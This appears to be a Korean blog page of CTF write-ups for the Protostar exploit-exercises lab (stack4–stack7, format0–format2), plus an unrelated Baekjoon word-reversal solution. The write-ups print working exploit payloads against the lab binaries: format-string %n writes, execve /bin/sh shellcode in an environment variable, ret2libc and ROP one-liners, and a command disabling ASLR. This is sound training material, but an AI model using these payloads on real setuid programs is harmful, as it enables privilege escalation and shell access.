no image
protostar format2
old.liveoverflow.com/binary_hacking/protostar/format2.html Format 2 - LiveOverflow Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n. old.liveoverflow.com #include #include #include #include int target; void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); if(target == 64) { printf("you have modified the target..
2020.11.05
no image
protostar format1
old.liveoverflow.com/binary_hacking/protostar/format1.html Format 1 - LiveOverflow Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n. old.liveoverflow.com #include #include #include #include int target; void vuln(char *string) { printf(string); if(target) { printf("you have modified the target :)\n"); } } int main(int argc, char **argv) { vul..
2020.11.05
백준 9093번: 단어 뒤집기
www.acmicpc.net/problem/9093 9093번: 단어 뒤집기 첫째 줄에 테스트 케이스의 개수 T가 주어진다. 각 테스트 케이스는 한 줄로 이루어져 있으며, 문장이 하나 주어진다. 단어의 길이는 최대 20, 문장의 길이는 최대 1000이다. 단어와 단어 사이에는 www.acmicpc.net 문제 문장이 주어졌을 때, 단어를 모두 뒤집어서 출력하는 프로그램을 작성하시오. 단, 단어의 순서는 바꿀 수 없다. 단어는 영어 알파벳으로만 이루어져 있다. 입력 첫째 줄에 테스트 케이스의 개수 T가 주어진다. 각 테스트 케이스는 한 줄로 이루어져 있으며, 문장이 하나 주어진다. 단어의 길이는 최대 20, 문장의 길이는 최대 1000이다. 단어와 단어 사이에는 공백이 하나 있다. 출력 각 테스트 케이스에..
2020.11.03
no image
protostar format0
old.liveoverflow.com/binary_hacking/protostar/format0.html Format 0 - LiveOverflow Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n. old.liveoverflow.com #include #include #include #include void vuln(char *string) { volatile int target; char buffer[64]; target = 0; sprintf(buffer, string); if(target == 0xdeadbeef) { printf("you have hit the ..
2020.11.01
no image
protostar stack7
old.liveoverflow.com/binary_hacking/protostar/stack7.html Stack 7 - LiveOverflow This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are. old.liveoverflow.com #include #include #include #include char *getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_retur..
2020.10.29
no image
protostar stack6
old.liveoverflow.com/binary_hacking/protostar/stack6.html Stack 6 - LiveOverflow This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are. old.liveoverflow.com #include #include #include #include void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return..
2020.10.29
no image
protostar stack5
old.liveoverflow.com/binary_hacking/protostar/stack5.html Stack 5 - LiveOverflow This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are. old.liveoverflow.com #include #include #include #include int main(int argc, char **argv) { char buffer[64]; gets(buffer); } stack5의 소스코드이다. stack4와 비슷하지만, 다른 점이 있다면 특정 함수로 이동시키는 것이 아니라 return ..
2020.10.29
no image
protostar stack4
old.liveoverflow.com/binary_hacking/protostar/stack4.html Stack 4 - LiveOverflow This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are. old.liveoverflow.com #include #include #include #include void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); } stack4의 소..
2020.10.29

protostar format2

assb
|2020. 11. 5. 17:32

old.liveoverflow.com/binary_hacking/protostar/format2.html

 

Format 2 - LiveOverflow

Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);
  
  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

 format2의 소스코드이다. format1과 비슷하지만, target의 값을 변경하기만 하면 되는 format1과 달리 format2는 64로 바꿔줘야 문제가 풀린다.

 

echo 0 > /proc/sys/kernel/randomize_va_space

 문제를 풀기 앞서 alsr을 끄고, target의 주소를 찾는다. 

 080496e4

 

 그 다음, format1에서 했던 것과 같이, 임의의 값을 입력하고 '%x'를 사용해서 해당 값의 위치를 찾는다.  

 

 위치를 확인한 후, target의 주소값을 넣어준 후 다시 target의 위치를 찾아준다. target의 위치는 5가 된다. 

 

 그런 다음 5번째 자리에 '%n'을 넣어주니 target의 값이 변했지만, 값이 64가 아닌 39이기 때문에 문제가 풀리지 않는다. 

 

 이때 포맷 스트링 사이에 숫자를 적어주면 해당 포맷 스트링의 크기를 바꿀 수 있다. 4번째 포맷 스트링의 값을 바꿔주며 64가 되도록 설정해주었다. 4번째 포맷 스트링이 '%34x'가 되면 target의 값이 64가 됐다.

 (python -c "print 'AAAA'+'\xe4\x96\x04\x08'+'%x '*3+'%34x'+'%n'")|./format2

 

 참고로 앞의 AAAA는 필수로 입력하지 않아도 되며, 넣어주지 않을 경우 페이로드의 수정이 필요하다. 포맷 스트링 역시 아무거나 사용이 가능하다.  

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar format4  (0) 2020.11.05
protostar format3  (0) 2020.11.05
protostar format1  (0) 2020.11.05
protostar format0  (0) 2020.11.01
protostar stack7  (0) 2020.10.29

protostar format1

assb
|2020. 11. 5. 16:49

old.liveoverflow.com/binary_hacking/protostar/format1.html

 

Format 1 - LiveOverflow

Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

 이 문제는 format string 공격을 사용해야 한다. printf(string)는 FSB 취약점이 존재하는 코드로, printf("%s", string)으로 사용해야지 안전하다. 

 printf() 함수는 포맷 스트링 문자(%d, %x, %c 등)를 만나면 스택에 저장된 값을 출력한다. 또한 "%n" 포맷 인자를 만나면 이 포맷 인자의 순서에 해당하는 내용을 스택에서 pop하고, pop된 내용을 주소로 이용해 해당 주소에 지금까지 출력된 문자의 개수를 저장한다. 

 

 문제를 해결하기 앞서 target의 주소를 고정하기 위해서 aslr을 꺼준다. 

echo 0 > /proc/sys/kernel/randomize_va_space

 

 그 다음 objdump -t를 사용해서 target 변수의 주소 값을 찾아준다. 

 08049638

 

 이제 임의의 문자(AAAA, XXXX등 아무 문자)를 입력하고, '%x' 포맷 스트링을 사용해서 16진수 값을 출력한다. 입력한 임의의 문자의 아스키 값을 찾아줘야 하므로 '%x'의 개수를 늘려가면서 찾아준다.

 이때 문자가 한 블록 내에 들어가야 target의 주소를 pop할 때 정상적인 주소를 보낼 수 있다. 따라서 '%x.' 형식으로 출력하여 41414141(AAAA의 경우)가 한 블록 내에 들어가는 '%x'의 개수를 찾아준다. 

 

 다음으로는 target의 주소도 추가해서 매개변수로 넣어준다. 아스키값과 target의 주소가 제대로 출력되는지 확인한다. target의 위치는 129번째로, 이 위치를 기억해준다. 

 

 마지막으로 문제를 해결하기 위해 129번째 위치에 '%n'을 넣어준다. '%n'을 만나게 되면 이 순서에 해당하는 내용(target의 주소값, 8049638)을 스택에서 pop하고, 이 pop된 내용을 주소로 출력된 문자의 개수를 저장하게 된다. 즉, target의 값이 바뀌게 되어 문제가 해결된다. 

 이때 포맷 스트링의 개수(이 경우 130)에서 변하게 되면 주소가 한 블럭 안에 들어가지 않기 때문에 시그먼트 오류가 난다. 이를 주의해서 '%x'와 '%n'의 개수가 130개가 되도록 해준다. 

 ./format1 $(python -c "print 'AAAA'+'\x38\x96\x04\x08'+'%x.'*128+'%n.'+'%x.'")

 

 

 참고한 사이트

 

포맷 스트링 버그(Format string bug) 취약점이란?

/* written by kaspy (kaspyx@gmail.com) */ 포맷 스트링 버그(Format String bug,이하 FSB)란 버퍼 오버플로우 해킹 기법의 한종류로써, 사용자의 입력에 의해서 프로그램의 흐름을 변경시킬수있는 취약점이다...

kaspyx.tistory.com

 

[Format String Attack] 포맷 스트링 공격이란?

Format String Attack [1] Format String Attack 서론 2000년도 후반에 해커들 사이에 큰 반향을 일으키 보고서 하나가 발표되었다. Format String Attack... Format String Attack이란 무엇인가? 이것은 기존에..

eunice513.tistory.com

 

 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar format3  (0) 2020.11.05
protostar format2  (0) 2020.11.05
protostar format0  (0) 2020.11.01
protostar stack7  (0) 2020.10.29
protostar stack6  (0) 2020.10.29

www.acmicpc.net/problem/9093

 

9093번: 단어 뒤집기

첫째 줄에 테스트 케이스의 개수 T가 주어진다. 각 테스트 케이스는 한 줄로 이루어져 있으며, 문장이 하나 주어진다. 단어의 길이는 최대 20, 문장의 길이는 최대 1000이다. 단어와 단어 사이에는

www.acmicpc.net

 

 

문제

 

문장이 주어졌을 때, 단어를 모두 뒤집어서 출력하는 프로그램을 작성하시오. 단, 단어의 순서는 바꿀 수 없다. 단어는 영어 알파벳으로만 이루어져 있다.

 

 

입력

 

첫째 줄에 테스트 케이스의 개수 T가 주어진다. 각 테스트 케이스는 한 줄로 이루어져 있으며, 문장이 하나 주어진다. 단어의 길이는 최대 20, 문장의 길이는 최대 1000이다. 단어와 단어 사이에는 공백이 하나 있다.

 

 

출력

 

각 테스트 케이스에 대해서, 입력으로 주어진 문장의 단어를 모두 뒤집어 출력한다.

 

 

코드

 

n=int(input())

for _ in range(n):
  ss=input()
  l=list()

  for s in ss:
    if(s==' '):
      while l:
        print(l.pop(), end='')
      print(' ', end='')
    else:
      l.append(s)
  
  while l:
    print(l.pop(), end='')
  print()
728x90

'알고리즘 > 백준' 카테고리의 다른 글

백준 3085번: 사탕 게임  (0) 2020.11.10
백준 1920번: 수 찾기  (0) 2020.07.15
백준 2869번: 달팽이는 올라가고 싶다  (0) 2020.07.15
백준 9466번: 텀 프로젝트  (0) 2020.05.18
백준 2331번: 반복수열  (0) 2020.05.18

protostar format0

assb
|2020. 11. 1. 23:04

old.liveoverflow.com/binary_hacking/protostar/format0.html

 

Format 0 - LiveOverflow

Solving format1 from exploit-exercises.com with a simple Format String vulnerability, exploited with %n.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

 buffer을 overflow 시켜서 target의 값을 0xdeadbeef로 변경해야 한다. 이때 buffer에는 argv[1] 값이 들어가게 된다. 

 

 main과 vuln 함수를 gdb로 확인했다. 

 

 gdb로 확인한 내용을 바탕으로 스택 구조를 그림으로 그려보면 다음과 같다. 즉, target의 값을 변조시키기 위해서는 임의의 64byte+"0xdeadbeef"를 입력하면 된다. 

 

./format0 `python -c 'print "\x90"*64+"\xef\xbe\xad\xde"'`

 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar format2  (0) 2020.11.05
protostar format1  (0) 2020.11.05
protostar stack7  (0) 2020.10.29
protostar stack6  (0) 2020.10.29
protostar stack5  (0) 2020.10.29

protostar stack7

assb
|2020. 10. 29. 19:56

old.liveoverflow.com/binary_hacking/protostar/stack7.html

 

Stack 7 - LiveOverflow

This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)
", ret);
      _exit(1);
  }

  printf("got path %s
", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{

  getpath();

}

 이 문제는 stack6 문제와 유사하다. 소스코드를 살펴보면 main에서 getpath 함수를 호출한다. getpath 함수에서는 buffer 변수를 오버플로우 시켜야 하는데, 이때 주의해야 할 점은 ret 값이다. __builtin_return_address(0)을 사용하면 현재 함수의 리턴 주소를 가져올 수 있다. ret & 0xb0000000이 0xb0000000일 경우 함수가 종료되는데, 이는 리턴주소가 b로 시작하지 않음을 의미한다. 

 

 stack6에서 사용한 ret2libc는 system 함수가 b로 시작한다. 따라서 ret2libc 대신 다른 방법을 사용해야 한다. 이번 경우에는 ROP를 사용했다. 

 

 objdump을 사용해서 gadget에서 ret를 찾아줬다. 

 

 stack7의 스택 구조는 stack6과 동일하다. 

 

 쉘 코드를 환경변수로 설정하고, 해당 환경변수의 주소를 구한다. 

 

 위에서 얻은 두 주소를 기억해서 80byte dummy + ret + env address를 입력하면 문제를 해결할 수 있다.

(python -c 'print "A"*80+ret+"\x90"*4+env address';cat)|./stack6

 

 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar format1  (0) 2020.11.05
protostar format0  (0) 2020.11.01
protostar stack6  (0) 2020.10.29
protostar stack5  (0) 2020.10.29
protostar stack4  (0) 2020.10.29

protostar stack6

assb
|2020. 10. 29. 19:55

old.liveoverflow.com/binary_hacking/protostar/stack6.html

 

Stack 6 - LiveOverflow

This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{

  getpath();

}

 소스코드를 살펴보면 main에서 getpath 함수를 호출한다. getpath 함수에서는 buffer 변수를 오버플로우 시켜야 하는데, 이때 주의해야 할 점은 ret 값이다. __builtin_return_address(0)을 사용하면 현재 함수의 리턴 주소를 가져올 수 있다. ret & 0xbf000000이 0xbf000000일 경우 함수가 종료되는데, 이는 리턴주소가 bf로 시작하지 않음을 의미한다. 

 

 하지만 여태까지 하던 방법대로 진행하면 환경변수의 주소가 bf로 시작하기 때문에 이 방법으로는 문제를 해결할 수 없다.

 

 0x0F - Doing ret2libc with a Buffer Overflow because of restricted return pointer

 

 따라서 문제에서 힌트를 주는데, ret2libc를 사용해야 한다. ret2libc란 libc, 즉 메모리에 존재하는 라이브러리를 이용해서 바이너리에 없는 함수를 사용할 수 있는 방법이다. 

 

 

 gdb로 프로그램을 분석해서 스택 구조를 그려봤다. return address는 buffer 64byte, dummy 12byte, sfp 4byte, 총 80 byte 이후에 존재한다. 

 

 ret2libc를 사용하기 위해 system의 주소를 확인해보았다. bp를 걸어 프로그램을 실행시킨 후, print system이라고 입력하면 얻을 수 있다. 

 

#include <stdio.h>

int main(){
        long shell = ; //system function address
        while(memcmp((void*)shell, "/bin/sh", 8))
                shell++;
        printf("%x\n", shell);
}

 "/bin/sh"의 주소를 얻기 위해서는 위의 코드를 사용하면 된다. long shell에는 print system을 통해 얻은 주소를 넣어준다. 

 

 위에서 얻은 두 주소를 기억해서 80byte dummy + system() address + 4byte dummy + "/bin/sh" address를 입력하면 문제를 해결할 수 있다. 

(python -c 'print "\x90"*80+system() address+"\x90"*4+"/bin/sh" address';cat)|./stack6

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar format0  (0) 2020.11.01
protostar stack7  (0) 2020.10.29
protostar stack5  (0) 2020.10.29
protostar stack4  (0) 2020.10.29
protostar stack3  (0) 2020.10.29

protostar stack5

assb
|2020. 10. 29. 19:54

old.liveoverflow.com/binary_hacking/protostar/stack5.html

 

Stack 5 - LiveOverflow

This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

 stack5의 소스코드이다. stack4와 비슷하지만, 다른 점이 있다면 특정 함수로 이동시키는 것이 아니라 return address를 변조해 쉘을 실행시켜야 한다. 

 

 

 gdb로 프로그램을 분석한 후 stack 구조를 그렸다. buffer 64byte와 dummp, ebp, return address가 존재한다. 스택의 구조는 stack4와 동일하다.

 

2020/10/29 - [CTF/시스템] - protostar stack4

 

protostar stack4

old.liveoverflow.com/binary_hacking/protostar/stack4.html Stack 4 - LiveOverflow This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binari..

assb.tistory.com

 

export GS=`python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
#include <stdio.h>
int main(){
	printf("%x\n", getenv("GS"));
	return 0;
}

 문제를 해결하기에 앞서서 쉘 코드를 작성해야 한다. 환경변수로 쉘 코드를 설정한 후, 해당 환경 변수의 주소를 획득하는 프로그램을 작성해 쉘 코드의 주소를 획득했다. 

 

 위에서 구한 stack 구조를 참고하여 return address에 쉘 코드의 주소를 입력하면 쉘을 실행할 수 있다. 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar stack7  (0) 2020.10.29
protostar stack6  (0) 2020.10.29
protostar stack4  (0) 2020.10.29
protostar stack3  (0) 2020.10.29
protostar stack2  (0) 2020.10.29

protostar stack4

assb
|2020. 10. 29. 19:53

old.liveoverflow.com/binary_hacking/protostar/stack4.html

 

Stack 4 - LiveOverflow

This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

 stack4의 소스코드이다. buffer 값을 입력받는데, 다른 변수는 존재하지 않는다. 따라서 return address를 변조시켜서 win 함수를 실행해야 한다. 

 

 

 gdb로 프로그램을 분석하여 이를 기반으로 stack 구조를 그려보았다. 64byte의 buffer과 8byte의 dummy, ebp, 그리고 그 아래에 return address가 존재한다. 따라서 buffer을 overflow 시켜서 return address를 변조해야 한다. 

 

2020/10/29 - [CTF/시스템] - protostar stack0

 

protostar stack0

old.liveoverflow.com/binary_hacking/protostar/stack0.html Stack 0 - LiveOverflow Bruteforcing stack canary, stack guard, stack cookie with a C program. old.liveoverflow.com #include #include #includ..

assb.tistory.com

 

 dummy는 <main+3>에서 esp에 and 연산을 하면서 생긴다. 

 

 따라서 64byte+8byte(dummy)+4byte(ebp)+4byte(return address) 형식으로 채워주면 된다. 이때 return address는 win의 주소를 넣어준다. 

 

 win 함수의 주소를 기억한다. 

 

 임의의 76byte(buffer+dummy+ebp)와 win 주소를 입력하면 문제를 해결할 수 있다. 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar stack6  (0) 2020.10.29
protostar stack5  (0) 2020.10.29
protostar stack3  (0) 2020.10.29
protostar stack2  (0) 2020.10.29
protostar stack1  (0) 2020.10.29